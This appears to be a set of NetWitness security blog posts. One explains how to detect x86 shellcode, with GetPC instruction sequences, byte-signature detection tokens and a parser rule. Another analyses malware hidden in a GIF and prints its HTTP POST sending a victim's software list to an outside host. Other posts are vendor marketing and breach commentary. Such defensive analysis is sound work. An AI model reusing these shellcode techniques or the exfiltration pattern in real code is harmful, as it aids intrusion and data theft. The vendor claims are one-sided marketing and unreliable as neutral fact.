Overview

This technique can detect overflow exploits against software running on the x86 platform, meaning it applies to Windows, Unix, and Mac shellcode. It not only works independently of OS, but it also works for finding both stack and heap based overflows. Most interestingly, it catches most forms of polymorphic shellcode as well. (Actually, it exceeds at finding special shellcodes like polymorphic decryption engines, egg hunters, etc.)  While this definitely doesn’t work for all shellcode, it works for a lot of it.

The reason this technique applies to any operating system on x86 is simple. Shellcode is typically written in machine code (commonly called assembly, although it’s not actually the same thing), meaning shellcode is written using processor instructions – something independent of the OS it’s running on. Of course, the entire purpose of shellcode is manipulation of the OS, so shellcode is ultimately OS specific (even patch specific), but its basic primitives are independent of the OS.

One classic problem with shellcoding is addressing. Because shellcode is [typically] nefariously injected via exploitation into a process’s memory segment, and program execution is “hijacked” (without the benefit of setting up proper address pointers), the coder doesn’t know where in memory their code will be. The problem is, very little can be accomplished without knowing the logical memory address of parameters within the shellcode.

The simplest way around this issue is use of a CALL instruction. More information is available in the “Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 2A: Instruction Set Reference, A-M” (and 2B: N-Z) located here: http://www.intel.com/products/processor/manuals/.

The CALL is used as a way to branch processor execution to another location in memory. It has the minor benefit of being able to use relative addressing, but it has the major benefit of PUSH’ing procedure linking information on the stack before branching to the target location. This is commonly referred to as Call Stack Setup. When executing a near call, the processor pushes the value of the EIP register (which contains the offset of the instruction following the CALL instruction) on the stack (for use later as a return-instruction pointer). The processor then branches to the address in the current code segment specified by the target operand.

There are several versions of the CALL instruction, but the one we’re interested in for this purpose is opcode 0xE8. This is a near call (near, meaning within the current memory segment) using relative address displacement with a negative offset (eg: backwards displacement). The actual instruction is 5 bytes long, with the last four bytes used for a relative offset (a signed displacement relative to the current value of the instruction pointer in the EIP register; this value points to the instruction following the CALL instruction). The CS register is not changed on near calls, so the results of these branches can be safely predicted (from a shellcoders perspective).

A section of a disassembled binary is shown here with an actual CALL. Notice the instruction is given as an 0xe8 plus a double word (32 bit) displacement pointer.

The CALL is usually needed early in shellcode execution to PUSH the virtual address contained in the IP onto the stack. (This is done because it’s not possible to access the IP directly, so it needs to be put on the stack to utilize parameters within the shellcode). However, the problem with the use of CALLs for call stack setup in buffer overflow shellcode is the CALL is generally located at an offset needing to serve as a return address after other instructions have already been executed. In other words, the CALL is generally located later in the shellcode and the processor executes the instructions sequentially from the start of the shellcode – unless a branching instruction is encountered.

Which is precisely how to solve the problem in shellcode – early in the execution of the shellcode, you simply JMP to the CALL in question, then call back into the shellcode and continue execution.

JMPs are simple instructions and easy to visibly identify and dissect. They are simply the opcode 0xEB followed by a byte indicating the number of bytes to jump.

The example below is taken from an MDaemon Pre Authentication Heap Overflow exploit:

In the first example above (the egghunter shellcode), we see a “\xeb\x21” which means, “Jump 0×21 (or decimal 33) bytes.” When you jump those bytes, you hit the green box, a CALL. The CALL performs the call stack setup, then branches backwards back into the shellcode and picks up just after the JMP (because of the negative displacement). The actual offset is [0xFF – 0xDA = 0x25]. 0×25 is 37 in decimal, however, you subtract 5 from that since the offset starts at the end of the 5-byte CALL. That lands us just after the JMP.

Simple, yet effective. Even analysis of polymorphic shellcode generators shows this technique applies to almost all them as well.

To summarize all this rambling, the technique (show in the FelxParser below) is simply to search for a JMP straight to a NEAR CALL with a short and negative displacement.

Evasion

Call with no offset

Evasion of JMP/CALL detection can be accomplished a number of ways. The most interesting evasions are techniques used in advanced NOP sleds obfuscation leveraging CALLs that started surfacing around the mid-2000’s.

One of the simplest CALL-based NOP substitutions worked as follows:

00000000    E800000000  call 0×5

00000005    58                           pop eax

In that example we have a CALL with no offset, which basically translates to “branch to the instruction after this CALL,” in this case an opcode that simply POPs the EIP into the EAX register. (Remember, when the CALL is hit, the processor runs through the call stack setup, meaning the EIP was just PUSHED onto the stack.) From a NOP perspective, this leaves the stack unchanged, but for a method to grab the EIP, this is a simple and efficient (although the use of NULL bytes makes this more difficult to use in a wide range of shellcode).

As that byte sequence is very rare in binaries, detecting this is much simpler since we have the benefit of a continuous 6-byet token to watch for. In the case the EIP is poped to EAX, the token is simply

0xE8 0×00 0×00 0×00 0×00 0×58

The above pattern should be extended to include all the general purpose POPs, including:

0xE8 0×00 0×00 0×00 0×00 0×58

0xE8 0×00 0×00 0×00 0×00 0×8F

0xE8 0×00 0×00 0×00 0×00 0×0F 0×1A

0xE8 0×00 0×00 0×00 0×00 0×0F 0xA9

Noir’s no JMP/CALL

This next technique was first described by noir@gsu.linux.org.tr  on the vuln-dev mailing list. It works as follows:

00000000    D9EE               fldz

00000002    D97424F4    fnstenv [esp-0xc]

00000006    58                     pop eax

In this case, the technique is to use FNSTENV to get the EIP of the last FPU instruction evaluated, then POP it from the stack. In the example above, the FLDZ FPU instruction is issued, then its EIP is POP’ed. This very cool technique allows for many permutations since any number of floating point instructions can be used.  Several dozen pages in the Intel Developers Instruction Reference A-M (starting around page 430) cover instructions that can be used in place of FLDZ.

Gera’s CALL into self

The final one we’ll look at is a crafty method to avoid JMP/CALLs, and works like this:

00000000    E8FFFFFFFF  call 0×4

00000005    C3                        ret

00000006    58                        pop eax

The interesting thing is the code above does not perform the actions the disassembler has labeled them as doing. In reality, the CALL (E8FFFFFFFF) is calling backwards into itself by a single byte. Therefore, the processor will hit the byte 0xFF (the tail end of the CALL) and interpret that byte as an instruction. In this case, the instruction is an INC/DEC (increment by 1 or decrement by 1). The 0xC3 is actually an operand to the interpreted 0xFF instruction, so it’s not a RET (return, normally used for call stack unwinding) in this case – it’s actually a pointer to the value stored in the EBX register as an operand for the INC/DEC instruction! After this step has been taken (the equivalent of a NOP really), the value on the stack is POP’ed into the EAX register using the 0×58 instruction. The value POPed is the EIP since it was PUSHed onto the stack when the CALL called back into itself.

While this is a very cool technique, it also provides a number of simple tokens to match on, similar to the Call with no offset example.

False positives and benign triggers

In testing of 55 GB of data (network and host based) no false positives were encountered searching for a JMP to short and near negative CALL. However, benign triggers were encountered (meaning the condition was detected, but it was a valid use of the condition). The condition was only detected inside some valid PE files, and because of that fact, they can be filtered using a number of simple and easy techniques depending on the technology used to discover them.

Flex Parser

Currently, the parser engine does not allow for one-byte tokens, so this parser is not functional as-is. (The concept presented here can easily be extended to identifying percent-encoded shellcodes, which is supported since they are represented as multi-byte tokens.) Nonetheless, and more importantly, the technique is annotated here in Flex so the reader can see how simple it is to write FlexParsers to discover a wide array of very complex conditions – such as universal shellcode detection.

<parser name=”exploit_x86_shellcode” desc=”exploit_x86_shellcode”>

<!– declaration section holds all variables used down
in the <match> section –>
<declaration>

<!– this parser will output messages to suspicious risk catergory –>

<meta format=”Text” key=”risk.suspicious” name=”suspicious”/>

<!– parser logic will hit on every 0xeb encountered
this is exactly why single-byte tokens are not supported,
but I’ll show it here anyways! –>

<token name=”jmp” value=”&#xeb;”/>

<!– some numbers we’ll use for testing below–>

<number name=”num_jmp_offset” scope=”session”/>
<number name=”num_call_1″ scope=”session”/>
<number name=”num_call_2″ scope=”session”/>
<number name=”num_call_3″ scope=”session”/>

</declaration>

<!– enter the below node when the pattern held in “jmp” is found–>

<match name=”jmp”>

<!– read the next byte and store the value in num_jmp_offset–>

<read length=”1″ name=”num_jmp_offset”>

<!– move the value stored in num_jmp_offset –>

<move direction=”forward” value=”$num_jmp_offset”>
<move direction=”forward” value=”1″>

<!– read the next byte, if it is 0xe8 (decimal 232),
then continue –>

<read length=”1″ name=”num_call_1″>
<if name=”num_call_1″ equal=”232″>

<!– skip low-order address byte –>

<move direction=”forward” value=”1″>

<!– check others for values 0xff’s, meaning we’re not going
far in this code–>

<read length=”1″ name=”num_call_2″>
<if name=”num_call_2″ equal=”255″>
<read length=”1″ name=”num_call_3″>
<if name=”num_call_3″ equal=”255″>

<!– if we get here, add the tag “exploit_x86_shellcode”
to the suspicious catergory for this session–>

<register name=”suspicious” value=”exploit_x86_shellcode”/>

</if>
</read>
</if>
</read>
</move>
</if>
</read>
</move>
</move>
</read>
</match>
</parser>

While the world took pause to consider the implications of Operation Aurora, and Google lent considerable voice to the concept of Advanced and Persistent Threats (APT), we can ill-afford to believe even for a moment that they are alone in their sophistication or capability.   According to the FBI more than 100 nations have offensive cyber operations as part of their intelligence or national security fabric.  And the same attributes that make the Internet ideal for covert intelligence gathering make it attractive for corporate espionage and organized criminal activity.  The IT security industry commonly refers to the online activities of Eastern European and Asian organized crime as “cyber criminals” or “gangs”, which in many ways only serves to minimize the attention they deserve.  In truth the online operations of some organized crime syndicates are every bit as sophisticated, advanced and persistent as their nation-state counterparts.  They are truly expert at gaining footholds and siphoning off critical information.  And they are FAR more pervasive than Operation Aurora.

In late January, NetWitness security research were able to gain visibility into a large scale ZeuS-based botnet, taking user credentials and confidential information from thousands of organizations around the world (See The Wall Street Journal article).  Some of the information collected has been synthesized in the Kneber Bot whitepaper that you can dowload from the NetWitness website.

The sheer volume of information gathered and has forced us to reconsider the common belief that this very successful botnet is simply “financial services” related.  In fact, this particular botnet was much more concerned with culling account and network access credentials, as well as collecting as much detail about victim identities as possible.  In effect, they were less concerned with accessing any particular account, than being able to access ALL accounts related to a victim.

As we began analyzing victim information, we rapidly formed a picture of thousands of corporate compromises around the globe.  As with Aurora, many of the largest most technology savvy companies had internal compromised hosts, which had culled various corporate user level and administrative credentials.

We may attempt to broadly classify threats in the security industry, in hopes that we can make the complex more digestible to management.  However, classifying threats like this as “banking trojans” may do a large disservice to the victim companies.  Indeed, there are many that broadly dismiss threats such as these as “unsophisticated”, or less advanced than a pinpoint attack like Operation Aurora.  Rest assured, these adversaries could not care less how we classify their work.  They are well organized, have demonstrated technical sophistication on par with many intelligence services and do not forgo the opportunity for financial gain with the the information they collect.  If they are collecting network credentials, it means they are using or selling them in an active underground economy – which may include sponsoring foreign intelligence services. What is easier? Designing a campaign like Operation Aurora, or simply purchasing access to your target companies?

We are working with federal law enforcement, and continue in our efforts to notify victim organizations.  Please feel free to download our white paper and I am confident we will discuss great detail in future blog posts.

The news is rife with discussions about systemic failures in the intelligence community.  It is a good thing we do not judge information security on the same scale of success.  I know of not a SINGLE enterprise network that is not being repeatedly compromised with a deluge of malicious code.  Can you imagine a world where we expected our anti-virus to actually protect us?  Weren’t we all talking years ago about what would happen when people began writing custom code to attack YOU.  Our most ubiquitous security problem today is certainly malicious code, and after recommending “Malware Bytes” to my 10^th family member or friend last month to undo a successful phishing or drive-by infection, this problem certainly does single out anti-virus products as “anti-success.”  So why do I pick on Intrusion Detection as the winner for institutionalizing failure in our security organizations?

I believe IDS started several negative trends that are still affecting the psyche of security personnel today.  For the first several years, all iterations of IDS were so prolific in their alerting that they have provided a decade long after-taste.  Some would argue they still are.  The very concept was flawed from the beginning, and only considered because we had lost control and understanding of our networks.   Systems and disk were simply not fast enough, or large enough to analyze or understand our networks.  We decided that we must look to technologies and solutions to determine what is bad on our network, ignoring the rest — and we turned to our first magic pill.

Whatever the case, they were the solutions that made “false positives” a mainstream security term. Think about that term for just a minute.  To have “false positives,” intrinsically implies that there could be some perfect solution.  That it is conceivable, much less possible, to actually determine what is bad on your network.  The problem was certainly not fixed as the vendors began marketing prevention, and the vast majority of IPSs employ little to no prevention because of the likelihood of false positives.

Now consider how many magic pills followed in the IDS wake.  Remember when DDOS was the threat?  A crop of DDOS mitigation products were made available to fix that problem.  Where are those products today?  Worms, Code Red and Nimda – gave rise to a swath of behavioral analytics products.  If I remember correctly – we were suppose to see Insider Threat as the next big thing a few years ago?  Weren’t data leakage and content monitoring systems supposed to plug that gap?  And all along this timeline, I need to manage this unmanageable amount of logs – so let me invest in SIM/SIEM.  SIM/SIEM not enough – perhaps you should look at the “Big Fix.”  The list could go on and on and on.

This is just a sampling of what you need to protect your networks, given the premise that you can automagically determine bad from good, based on some mythical perfect ruleset.  And oh yes, don’t forget – if you need help you can outsource it.  In the wake of “aurora”, and systemic compromises of some of the largest, most technology savvy companies in the United States, perhaps more will realize that compromise is INEVITABLE.  If sponsored adversaries want to get into your network, they will LIKELY SUCCEED.

We are chasing our tails, still looking for that magic pill that will secure our networks, and have not once stopped to reconsider our approach.  I single out IDS because it was the first, and loudest failure in the security space.  I believe it showed the world that security products do not have to work often or at all, but can be marketed and sold successfully. I believe it began the cycle of point solutions that has created a generation that believes it is possible to secure our networks without understanding them.

It is time to realize, that you will not know what is bad today, until tomorrow.  That you will not know the damage caused for hours, days, weeks or even months.  No matter what you invest in, nothing can protect you from what you do not know.  The threats we face tomorrow will not be the same as today.  And most importantly – you are doomed to failure if you rely on some magic solution to determine what is bad.

Instead of building our defenses based on a hodgepodge of point solutions, designed to fix yesterdays problems, why don’t we invest a modicum of our resources into an architecture that can analyze, interpret and record what is happening on your network – yesterday, today and tomorrow. Can we for a moment, invest in regaining an understanding of what is traversing our network, and create a capability to adapt to tomorrows problems?  That is the benefit in deploying NextGen.

A potential customer, after receiving a demo, commented recently on a single rule based alert that was added to a session during analysis called “suspicious file type” – saying the alert was a false positive because the executable downloaded was not malicious.  I corrected him, and not just semantically, that there are no “false positives” here.  There are simply flagged sessions based on intelligence, which add additional data elements.  If you choose to write a rule that alerts when someone downloads an executable, it will do so.  It does not make the assumption that that is a bad executable.  Humans do that.   Sure a single alert can be more valuable than others. Sure we can take a signature and incorporate it. However, it is the preponderance of the complete session analysis – perhaps various alerts, threat intelligence, and a deep detailed understanding of everything that happened in that session — all over time that provides your analysts the ability to ask very detailed and probing questions into your network — and get answers back immediately. Concerned about leakage?   Ask those question of the system.  Concerned about compliance, ask.  Concerned about malware downloads – ask.  Insiders?   Targeted PDFs?  Obfuscated javascript?  Proprietary information?  Law enforcement?  By analyzing it all, we give you a platform for answers.

“Not good enough” he said…  “It needs to tap my analyst on the shoulder and say Hey – look at this!”

“Ah – like an IDS” I responded.  He wanted a magic pill.   Institutionalized Failure.

I was helping a fortune customer yesterday determine if they were targeted by Operation Aurora. From everything we know to date, they were not. How do we know this? We looked. In 15 minutes or so, we looked back over the last 6 months of every bit and byte that has left that company, and compared every hostname, IP address, and HTTP URL that have been associated with these attacks. This is the power of full network surveillance, and this is why you MUST be performing real-time continual deep analysis of your network activities.

There is a discussion today of some of the malware, and zero day exploits out of McAfee. They are now calling this Operation “Aurora”. In the post, George Kurtz discusses how APT, or Advanced Persistent Threats is changing the security landscape once again. It is a message, and the discussion we at NetWitness have been pushing for years. While this attack has gone largely unnoticed for months, NetWitness customers have all the historic evidence necessary to assess damage. For some, this means gaining rapid confidence that they were not compromised. For some, it means rapid damage assessment, capturing evidence, and using everything they learn to increase their security today. As I watch the best security teams in the world struggle to collect evidence of this attack over the course of days or weeks, I cannot help but wonder how much easier it would have been had we been in place.

In early December, we were called into one of the affected companies, in partnership with a large service provider. Within days, we had NetWitness gear recording at every major gateway in the country, and were scheduling international deployments. While it appears that the damage was already done to this company long before we arrived, we were instrumental in shutting down many other infestations, as well as identifying hundreds of systems that were displaying abnormal or concerning communication patterns. Had this company been a NetWitness client only 30 or 60 days before, I am absolutely confident we would have been able to bring this particular activity to light weeks earlier.

We have been reaching out to our customers, providing them details of the communication that Operation Aurora utilized, along with very simple instructions that allow them to look back over time and reassess their security. One thing is certain, while we may not know the vector of a specific attack until after the fact, it is imperative that we have the ability to quickly assess the damage and retain evidence.

This is why we must begin recording our network activity NOW. Giving your network some form of memory is an absolute imperative, and the foremost defense against APT. Furthermore, simple recording is not enough. Good luck if your recording architecture is IP based. Customers of NetWitness can search the URLs, hostnames, and other application level beaconing activities in seconds. Try doing this by scanning over 50 terabytes of packet data manually. Had this attack employed more sophisticated hosting or resolution techniques like fast flux, and even the IP addresses would have been useless.

George is absolutely correct in his assessment that the landscape has changed. These types of organized, sponsored attacks are here to stay. I am sure those in the financial community, used to dealing with advanced ACH fraud and highly targeted attacks by the Russian Business Network are sitting back this morning and saying “Welcome to the party, pal!”

Welcome to the party, pal!

Did NetWitness actually release a new product that consists of a bucket filled with sand? The answer is yes, but the real question is why? We released B.O.S. in an attempt to sound the wake-up call…

Organizations can no longer afford to rely so heavily on perimeter based technologies, on signatures for identification of threats – and they cannot hide their heads in the sand and hope that nothing goes wrong.  Every day, things are going incredibly wrong.   Prevention alone is an epically failing strategy.

2009 can easily be called the year of advanced threats. The scary thing is that the same can be said for every year over the last five. Despite all efforts, attacks and data losses are getting progressively worse, not better.  During the past five years there have been thousands of breaches reported - impacting state and local government, small and medium sized businesses, multi-national organizations and some of the most sensitive branches of the U.S. Government.   No one is immune and the sickness is literally life threatening.

Imagine for a moment how many breaches went unreported…imagine how many have gone completely undetected.  This is a frightening reality highlighted by the 2009 Verizon Business Data Breach report which found that 49% of breaches went undiscovered for a period of months…and 70% of breaches went completely undetected by internal teams. How is this possible?

The answer is both simple and frightening – the technologies on which organizations have come to rely  aren’t able to prevent, detect, and combat the advanced threats of 2010.

Today’s security technologies are better suited for fighting the cyber-war of 1995 than they are for dealing with today’s advanced threats. The cyber-criminal underground and nation-sponsored groups are using teamwork, custom-developed malware, third-party vulnerabilities via exploit kits, and code obfuscation to bypass existing security technologies and perceptions of security derived from compliance efforts. Because of the industry’s overreliance on signature based technologies, security managers are under the false assumption that they are protected. Too much faith has been placed in firewalls, IDS/IPS, anti-virus, anti-spam and other perimeter platforms to catch the threats.  The current cyber war footing is analogous to bringing a knife to a gun battle – security leaders are reliant upon technologies designed to fight the cyber-war of 10 years ago…our adversaries are fighting with weapons of today.

So, what can be done?

In today’s threat environment it is vitally important that all organizations develop an effective, real-time capability to detect, analyze and respond rapidly to advanced threats.  During the last three years, many of the top security teams in the government and commercial sectors have turned to the advanced threat intelligence and real-time network forensics provide by NetWitness NextGen. The only way to truly know what is going on within the network is to look at everything that is going on within the network. Full packet capture and session recreation are the only ways to accomplish this end.  Where NetWitness NextGen is deployed, the result is an effective threat intelligence program and continuous augmented awareness that provides in-depth visibility into network events that escape existing network security monitoring tools.

In 2010, you should not be buying a bucket of sand.  To combat the advanced threats we now face, organizations must:

1) Reject “status quo” and compliance-focused thinking and acknowledge that prevention is a failing strategy when facing advanced threats;

2) Focus on real-time detection and rapid investigation of advanced attacks to shorten the risk exposure window of any incident;

3) Build an internal security team that is tailored for advanced threat detection and that is armed with an enterprise-wide, real-time, network forensics capability to achieve optimal network visibility…

In short…when looking to combat advanced threats, organizations should be using NetWitness NextGen.

Hey gang…Alex here…writing from the NetWitness Labs…

At NetWitness, our focus is on providing analytics, and we are constantly looking at new ways to apply our unique analytics to the realm of content development.  We know that we have really cool technology and want to showcase that as well as push the envelope of what is possible in this space.   If you’ve seen the recent rule update on the freeware welcome page you are seeing the results of these efforts first hand.

If you’ve been following the threat landscape for the past few years, you will know without question that malware is a key part of both cybercrimal and nation-state hacking activity.   You also know that current security technologies are woefully inadequate in detecting targeted and obfuscated malware.  Keeping a network secure requires knowledge of normalcy on your network as well a cutting edge technology to quickly make you aware of deviations from this normalcy.

Part of this concept is using knowledge of what’s “normal” to define what’s “abnormal”.   In this example I’ll use windows executables.  We know from common IT knowledge that windows executables often end with an “.exe” extension (among others).   Those with a forensic background also know that Windows executables are forensically identifiable by looking for a file signature that includes common “tells”.   An example of this is the PE file header,  commonly refereed to as “MZ”.

If I take these existing bits of knowledge and combine them, I have the basis for a detection of “abnormal” executables as follows:

“If forensic signature equals windows executable,  but the file extension doesn’t equal a known executable extension, let me know about it!”

With this concept in mind, one of my extremely talented coworkers (Gary Golomb), put together a flex parser with the sole purpose of detecting file signatures on the wire.   Think of a forensic analysis of filetypes using a dedicated host forensic tool like Encase or Forensic Tool Kit, but on the network and in real-time.   We’ve been testing this parser in various scenarios as warranted, and recently made an interesting discovery while at a client site.

During this engagement, we began investigating hits on our “file signature windows executable” parser, which is designed to generate “alert” metadata in the NetWitness framework when it detects forensic executable tells.

Meet 343njpl.jpg:

One of the files that triggered this alert was the following file, which was downloaded from the “tinypic.com” file hosting service and was named 343njpl.jpg:

When I look at this file forensically,  I see an interesting inconsistency.   The file header identifies the file as a GIF, not a JPG.  Something is amiss!

Digging further…I see that there is, in fact, an executable file header buried in the file:

What’s interesting to note here, is that this file renders as a GIF correctly in a web browser, so if you were to wander across it during an investigation, it would not be readily apparent that it is hiding an executable.

With this new knowledge,  We then submitted the file to virustotal to determine if it is known malicious.   The results were not promising, with 3 detections out of 41:

http://www.virustotal.com/analisis/073a4210835e026712e5aa08e18004eabe9c8c4dc7b4565db47a34e38b565b8b-1258144380

At this point we really wanted to dig deeper and figure out what this file is trying to do,  so we opened the file in a hex editor and carved the EXE out of the file, then resubmitted to virustotal…results were much better this time, but still only about 65% with 27 out of 41 detections.

http://www.virustotal.com/analisis/0ccfe86dc2ab9cd8b9f589bae6666c903af8de2ee2bfcce4dc8464346b4e761a-1256743615

Ok…so we know that this file is indeed malicous now.  So what does it actually do?    If we use some malware analysis techniques, we discover that this initially reports installed applications to a webserver in the netherlands:

POST /65/logpl.php HTTP/1.1
Referer: http://google.com/
Content-Type: application/x-www-form-urlencoded
User-Agent: hello
Host: www2.sexown.com
Content-Length: 692
Cache-Control: no-cache

pl=plV:1.1|Adobe_Flash_Player_10_ActiveXV:10.0.22.87|Explorer_Suite_III|IDA_Pro_D
emo_v5.4|InstallWatch_Pro_2.5|Malcode_Analyst_Pack_v0.21|Microsoft_.NET_Framework
_3.5_SP1|Mozilla_Firefox_(3.5)V:3.5 (en-US)|Notepad++V:5.4.4|Paros_3.2.13|Windows
_XP_Service_Pack_3V:20080414.031525|WinPcap_4.1_beta5V:4.1.0.1452|Wireshark_1.2.0
V:1.2.0|Mandiant_Red_CurtainV:1.0.0|Python_2.6.2V:2.6.2150|Java(TM)_6_Update_14V:
6.0.140|WebFldrs_XPV:9.50.7523|Mandiant_Web_HistorianV:1.3.0|Mandiant_Highlighter
V:1.1.1|MemoryzeV:1.3.1000|Microsoft_.NET_Framework_3.0_Service_Pack_2V:3.2.30729
|Microsoft_.NET_Framework_2.0_Service_Pack_2V:2.2.30729|Microsoft_.NET_Framework_
3.5_SP1V:3.5.30729|VMware_ToolsV:7.9.6.5197|

So let’s review the facts:

- A file that strays from the expected norm is detected by NetWitness technology, being served from a common file hosting site.

- This file properly renders as a GIF in a web browser, but contains an embedded executable.

- Malware detection on this sample in its embedded form is dismal, but gets better when the executable is extracted from the GIF.

- Using behavioral analysis, we can determine that the attached executable is an information stealer, at the very least.

Tied to an alerting mechanism in Netwitness Informer, we could have this alert sent directly to an enterprise SOC for response, informing them of unusual executable behavior, without having to rely on signature-based malware controls!

NetWitness….letting you see your network like never before.  

I was at the CSI show yesterday and was within earshot of one of our “competitors” who claimed that they were winning against NetWitness because they support 10Gbps and we do not.   I have heard this story frequently from this particular firm, and it’s a bunch of bull.

It amazes me that companies in this space, such as Niksun and Solera Networks, spend so much time emphasizing how they allegedly can capture at 10Gbps line rates – as if that’s the most important requirement for public and private organizations struggling to cope with critical advanced threats, complex data leakage scenarios, network forensics, designer malware and botnet infestations, and increasing insider crime and fraud.

Solera Networks publicly asserts that their product was certified by Miercom Labs as 10Gbps capable.  If you look at the report on their Website, however (http://www.soleranetworks.com/resources/Solera%20DS5100_Miercom%20test.pdf), you will see that a top capture rate of 8.1 Gbps was achieved solely when the “packet size” was forced to 1,518 bytes.  At other packet sizes, the performance dropped off steadily.

The practical application of the Miercom report for Solera Networks is dubious in the real world.  For example, let’s assume that in Miercom’s vernacular “packet size” is equal to “message transmission unit” (MTU).  1,518 is the maximum MTU for the transmission of data over IEEE 802 networks according to RFC 1042.  But it is unrealistic to imagine that every consecutive packet on a customer network would be 1,518.  In fact, the typical default MTU setting for devices such as routers and servers processing a protocol such as HTTP over TCP/IP is 576 – most network and system administrators today work under this assumption.  In a real customer environment with a large amount of HTTP traffic, the Miercom numbers would put the theoretical Solera throughput somewhere around 6Gbps, versus the claimed 10Gbps.  Real life is different than the lab, however, and the reality is that customer application-layer traffic produces actual average MTUs of far less than 576, thereby lowering the potential performance results below the assertions made by some vendors to something more like an average MTU of 300 — or a throughput of around 3Gbps according to the Miercom results.

Such misleading lab reports also do not address other concerns, such as the technical challenges associated with capturing at a 10Gbps on single network appliance, given physical bus bandwidth constraints and disk write speed limitations — and still offering meaningful and timely analytics to security users.  Every vendor who is engineering solutions in this space has confronted this dynamic — but most vendors do not address this problem in their marketecture because they do not have a solution.

As the consumer of solutions in this space, you should be aware of this:   The reason this issue is not discussed in any meaningful way by some vendors is because they have no real-time automated and interactive analytical capability beyond basic and often erroneous network statistics.

Consider this screenshot from Solera Networks post-facto user console:

Notice specifically the port assumptions made by the product:

To assume in 2009 that TCP ports 80 and 443 are inclusive to web traffic simply is ridiculous.  Not only is this type of analysis absurd from a network forensics perspective, but also would seem at odds with the term “deep packet inspection”.  Consider the following drill into the HTTP service using NetWitness Investigator, on even a single day of capture from the NetWitness corporate HQ:

This screenshot represents only a small portion of the available information about the HTTP protocol.  This level of detail is possible because NetWitness does complete port agnostic session analysis in an automated real-time manner, upon collection.  You cannot get there from here with other vendors like Niksun and Solera Networks.  One of the vendor’s Websites says it most succinctly:

“Once you find the traffic flow you are looking for, you can download a PCAP file of just that data and analyze the traffic using any tool that analyzes PCAP files. Or you can save it for later and use it to analyze when you have time or need evidentiary proof of malicious activity.”

There are some pretty big and unfortunate “IF”s that customers should consider before engaging with any vendor operating under such assumptions:

1.  How do I actually go about “finding the traffic you are looking for” within tens or perhaps hundreds of terabytes of data in post-facto analysis?

2.  Why would I “save it for later” and “analyze it when you have time” when it could be something critical that requires immediate attention?  The assumption is that nothing here has a sense of urgency.

3.  Forget about real-time incident response, automated analytics, or integration with your SIEM or other existing security tools…not addressed.

4.  Your organization’s security staff still has to use NetWitness Investigator to satisfy the “analyze the traffic using any tool that analyzes PCAP files” requirement in order to use this vendor’s product — and that after finding both the haystack and the needle, which you would have found already had you been using NetWitness.

All this discussion highlights the value of working with NetWitness, an engineering company dedicated to solving the important problems of security professionals, law enforcement, intelligence analysts and other people focused on cyber security issues.  NetWitness offers a 10Gbps solution and it is running on some of the largest networks in the world — we’ve been doing it for a while — but we do it in a sensible way.  We do not go to market trying to sell you “disk write speeds” or “appliance capture rates” – that’s a waste of your money and should not be the most important focus for you.   Unlike anyone else in this space, we provide an infinitely extensible data framework, real-time automated analytics, live data fusion and threat intelligence, and the best network forensics interface in the market today.  Without all that, you are just filling up disk drives.

For the second time in 18 months, Monster.Com has suffered a massive security breach.  In both cases, user account information was stolen, along with the email addresses and names of job seekers.  When this happened in August of 2007, 1.3 Million accounts were taken when an employee of the company divulged his credentials via a Trojan Horse program.  Within days of that attack, users of Monster.com who had their account information stolen found they were victims of targeted malware phishing attacks and, since hackers assume Monster.Com users are out of a job, many were invited to become money laundering mules for criminal hacker organizations.

In the latest breach, Monster put a notice here on their website that says:

As is the case with many companies that maintain large databases of information, Monster is the target of illegal attempts to access and extract information from its database. We recently learned our database was illegally accessed and certain contact and account data were taken, including Monster user IDs and passwords, email addresses, names, phone numbers, and some basic demographic data. The information accessed does not include resumes. Monster does not generally collect – and the accessed information does not include – sensitive data such as social security numbers or personal financial data.

Immediately upon learning about this, Monster initiated an investigation and took corrective steps. It is important to know the company continually monitors for any illicit use of information in our database, and so far, we have not detected the misuse of this information.

Now let’s flash back to 2007 and their statement to the press regarding that breach:

Sal Iannuzzi, the company’s chairman and chief executive, said the company was improving its surveillance of how the site is used as well as limiting the way data can be accessed. Iannuzzi declined to provide specific details about how the new security measures will work, saying he didn’t want to make them vulnerable to potential hackers.

Whatever improvements were made in Monster’s network surveillance and security measures were not adequate to deal with the severity of the threats the organization is facing from sophisticated adversaries.  In light of this second breach, Monster should review what went wrong with their previous remediation plan and develop something better to help them identify data breaches quickly and lock down their customer records.  Monster, as many enterprises today, simply needs better and deeper visibility into their network traffic.

NetWitness NextGen provides a new paradigm for network security monitoring.  Full packet capture and session analysis provides the ultimate truth about data crossing the wire because you are dealing with ALL the data — not just signatures or statistics or scans.  Your security managers actually will know what types of information is crossing network interfaces, will better understand the risks of that data in motion, and can therefore make better decisions about reducing those risks.  And regardless of how the hacker tries to exfiltrate the data -  via the web, trojanized control port to the internal network, or a disgruntled insider- NetWitness helps you close the gaps.

For Monster users, please change your password on the site.  Other bloggers are reporting that usernames and passwords were stored in clear text.  If so, and you use the same username and passwords on other accounts, you may wish to change those credentials as well.

On monday of this week, we released Investigator 8.6, and we released it free.  I thought I would take to this poor, neglected blog and write some thoughts about it.  So far the reaction has been very positive.  It seems people like what they see, and we are very happy with the many blog posts, and positive feedback we are getting.  I thought I would answer some questions here directly.

The number one question from the press, blogs, and friends – was “Why?”

It would be easy to say that this is simply a good thing for the security community - and we wanted to contribute.  To be sure – there was a lot of that in our discussions.  But the truth is – we really don’t sell Investigator.  What we sell – are enterprise class, distributed network appliances that perform very high speed network capture, and all the analysis you see in Investigator — in real time — providing weeks and months of historic visibility.

Investigator – is simply the front end for that solution.  If you want to know what we do as a company, and what we sell — it is simple.  If you like what Investigator does on a gigabyte of packet captures – just imagine it working over 100 Terabytes or more.  Imagine having that power over every every bit and byte that has entered or left your network over the last month.  To be sure – there are reporting engines and alerting engines we sell that automate common analysis – but with Investigator you should get the idea of what we offer enterprise customers.

The number two question that we get – always seems to involve Wireshark, in some sort of competition skew.

Again – the simple truth is that the products are not competitive at all.  In fact, they work together to make both products better.  In the demonstration videos – I even show how easy it is to open sessions in wireshark.  We use wireshark every day.  And those of you who used to – will still use it.  What we hopefully let you do – is find those sessions that need to be looked at – 100 times faster than before.  Perhaps a thousand…  In the end - I bet wireshark developers will use Investigator as well.  The products compliment – not compete.

The next question is about registration.  It seems everyone thinks it is a bit cumbersome.

There are several reasons for this.  First – we are a small – private – commercial company.  We are not a charity, a think tank, or a group of cyber crime fighters.  So if we require people to register – it can help us see which industries we should be focusing on, and other marketing needs.  We are not going to be overzealous in this regard, but the information will help us be a better company.

